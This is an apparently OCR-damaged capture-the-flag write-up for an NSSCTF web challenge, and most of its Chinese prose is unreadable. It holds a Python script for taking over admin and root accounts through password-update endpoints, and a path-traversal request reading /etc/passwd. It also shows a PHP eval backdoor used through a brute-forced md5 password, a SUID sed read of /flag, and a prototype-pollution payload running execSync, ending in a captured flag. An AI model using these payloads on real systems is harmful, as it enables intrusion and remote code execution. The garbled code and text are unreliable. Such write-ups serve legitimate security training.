let saying=encodeURIComponent(Base64.encode($(".input-group>input”).eq(3).val()))
$.ajax({

url: '/?c=user&m=updateUserInfo’,

type: 'post',

data: 'name='+name+'&newPass="'+newPass+'&oldPass="'+0oldPass+'&saying="+saying,
dataType: 'text',
success: function(data){

alertHandle(data);

RS ZL AW RS E N, Hp—&iiRKZ /2c=user&m=updateUserInfo, H—ALA /?c=admin&m=updatePass , AiT/LHY
ERREERET

BB O F LI —TIeIhee, WECHKFXHNE admin/111, A admin P& FJ5 T LMEE root S, NIAEM T —4
root"#/111 I/, B LAYE AT DMB BU# RS



from email.mime import base
import requests

import base64

from hashlib import md5

"http://1.14.71.254:28050/"
url ' ?c=app&m=1login’
url ' ?c=admin&m=updatePass’

base64.b64encode(b'admin') .decode()
base64.b64encode(b'root").decode()
md5(b'111") .hexdigest()
md5(b'root"').hexdigest()

requests.Session()

data {
"name": userl,
"pass": passl
)i
r sess.post(urll, data=data)
print(r.text)

data {
"name": user2,
"newPass": pass2,
"oldPass": passil,
"saying": user2
}
r sess.post(url2, data-data)
print(r.text)

{"login":true, "type":"admin"}
{"alertData":"\u4fee\u6539\u6210\u529f","location":"\/?c=admin", "alertFlag":1}

ZIRBHAN root/root , RERSBEEUHI. root P2 T —ANTHIEE, BOATHRHEZXMH, Al BR80T HAE
i B SO«

/ ?c=root&m=downloadRequestLog&filename=../../../etc/passwd




<« > C A F%%| 1.14.71.254:28050/?c=root&m=getLogList B h & ® @ *I'.?l s <& % 0O q

184 root's LogFile Panel port | Update | Delete |

Filename FileSize ChangeTime Action

=z 20220226.txt 91.817 KB 2022-02-26 12:09:46
U
[x

ﬂ Elements Console Recorder & Network HackBar Sources Application » B2 @ :

LOAD SPLIT EXECUTE TEST ~ sQLl -~ XSS -~ LFl ~ SSTI ~ E

URL
http://1.14.71.254:28050/?c=root&m=downloadRequestLog&filename=../../../etc/passwd

T EREE R I —A phpinfo.php 3CH, BT F#:

/ ?c=root&m=downloadRequestLog&filename=../../../var/www/html/phpinfo.php

HAAEA:

<?php
if(md5(@$_GET[ 'pass_31d5dfe01717']) '3fde6bb0541387e4ebdadf7c2ff31123" ){@eval($ GET['cc']);}

AL TR RAERE, Bk T, BEFTFRBR.

from hashlib import md5

with open('pass.txt', 'r') as f:
ff = f.read()
pa = ff.split('\n")

for i in range(len(pa)):
if '3fde6bb0541387e4ebdadf7c2ff31123" md5(pa[i].encode()).hexdigest():
print(pa[i])

I S AT I

http://1.14.71.254:28050/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

2R RAL R sed AEF flag:



find / -type f -perm /4000 2>/dev/null

/bin/sed '1,5p' /flag

"hero.name": "&WIEZH",
" _proto__.block": {

"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat /f*>static/1.txt"')"

¢ C A FL€2L| 1.14.71.254:28041/static/1.txt

NSSCTF{3612aB890-6d38-4ell-94ba-aec007092d0e}

HREFERNL.
AR


https://ego00.blog.csdn.net/article/details/122330544
https://blog.csdn.net/hiahiachang/article/details/123223959
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